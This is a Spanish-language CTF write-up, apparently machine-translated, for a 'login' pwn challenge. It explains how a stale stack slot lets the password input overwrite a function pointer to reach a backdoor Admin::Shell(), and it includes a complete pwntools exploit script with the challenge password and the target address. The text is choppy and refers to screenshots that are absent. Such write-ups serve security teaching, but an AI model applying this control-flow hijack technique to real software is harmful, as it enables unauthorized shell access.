Iniciar sesión
Sobre el costo de no aprender la pila, la vi durante mucho tiempo, y finalmente le pregunté al maestro de KMFL, rompí el sueño en una palabra, mi base es realmente muy mala.
El programa de análisis es un desensamblaje de C ++, pero tiene poco efecto. El primero es el nombre de usuario 'admin'
y la contraseña pasados a Admin, y '2jctf_pa5sw0rd'
luego se nos pide que ingresemos el nombre de usuario y la contraseña, que no parece requerir el nombre, pero verificaremos la contraseña.
Intento entrar así:
Sin embargo, se produjo una falla de seguridad en el programa. La depuración de rastreo puede encontrar que hay call rax
un problema en la última función :
Mira el código de desmontaje:
Se puede encontrar que el primer parámetro a1 es un puntero a un puntero y se **a
ejecuta como una función. Observar el código de ensamblaje es más intuitivo:
Entonces, veamos si el primer parámetro pasado puede ser controlado por nosotros:
Nota: [rbp + var_130] en la instrucción mov y la instrucción lea aquí es el direccionamiento indirecto del registro, y se toma la dirección
Por lo tanto, el parámetro que pasamos es [rbp+var_130]
la dirección, luego lo que ejecutamos es rbp+var_130
el contenido almacenado, puede ver que [rbp+var_130]
está asignado a rax arriba . Siga la password_checker()
función para ver qué es rax:
Parece que nuestro rax es [rbp+var_18]
, así que al final solo necesitamos controlar [rbp+var_18]
el contenido de la función de puerta trasera Admin :: Shell ().
Como todas las funciones aquí se main()
invocan en la función, después de que la función se desapila, la password_checker()
función se desapila read_password()
en la misma posición (las funciones llamadas se desapilan en la misma posición). Entonces podemos sobrescribirlo al ingresar la contraseña [rbp+var_18]
:
exp es como sigue:
from pwn import *
#from LibcSearcher import LibcSearcher
context(log_level='debug',arch='amd64')
local=1
binary_name='login'
if local:
p=process("./"+binary_name)
e=ELF("./"+binary_name)
libc=e.libc
else:
p=remote()
e=ELF("./"+binary_name)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def z(a=''):
if local:
gdb.attach(p,a)
if a=='':
raw_input
else:
pass
ru=lambda x:p.recvuntil(x)
sl=lambda x:p.sendline(x)
sd=lambda x:p.send(x)
sla=lambda a,b:p.sendlineafter(a,b)
ia=lambda :p.interactive()
def leak_address():
if(context.arch=='i386'):
return u32(p.recv(4))
else :
return u64(p.recv(6).ljust(8,'\x00'))
#z('b *0x400A13\n')
sla("Please enter username: ",'admin')
pd='2jctf_pa5sw0rd'+'\x00'*58+p64(0x400E88)
sla("Please enter password: ",pd)
p.interactive()
Aquí también debe prestar atención a la snprintf()
función aquí :
Se puede ver que la s en esta función es la read_password()
misma que la posición en la función, es decir, en la misma posición en la pila. Si la cadena de formato es demasiado larga, puede dañar nuestra estructura organizada. %s
El \x00
truncamiento utilizado aquí está bien ~